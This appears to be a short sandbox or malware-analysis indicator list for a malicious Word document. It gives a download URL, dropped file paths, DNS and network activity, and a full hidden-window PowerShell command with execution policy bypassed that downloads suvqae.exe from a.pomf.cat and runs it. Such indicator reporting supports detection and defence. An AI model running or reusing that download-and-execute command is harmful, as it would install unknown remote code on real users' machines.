Technical Information
- https://a.pomf.cat/suvqae.exe as %temp%\suvqae.exe
- <Current directory>\~wrd0000.tmp
- <PATH_SAMPLE>.doc
- 'a.##mf.cat':443
- DNS ASK a.##mf.cat
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('https://a.pomf.cat/suvqae.exe','%TEMP%\suvqae.exe'); Start-Process('%TEMP%\suvqae.exe')' (with hidden window)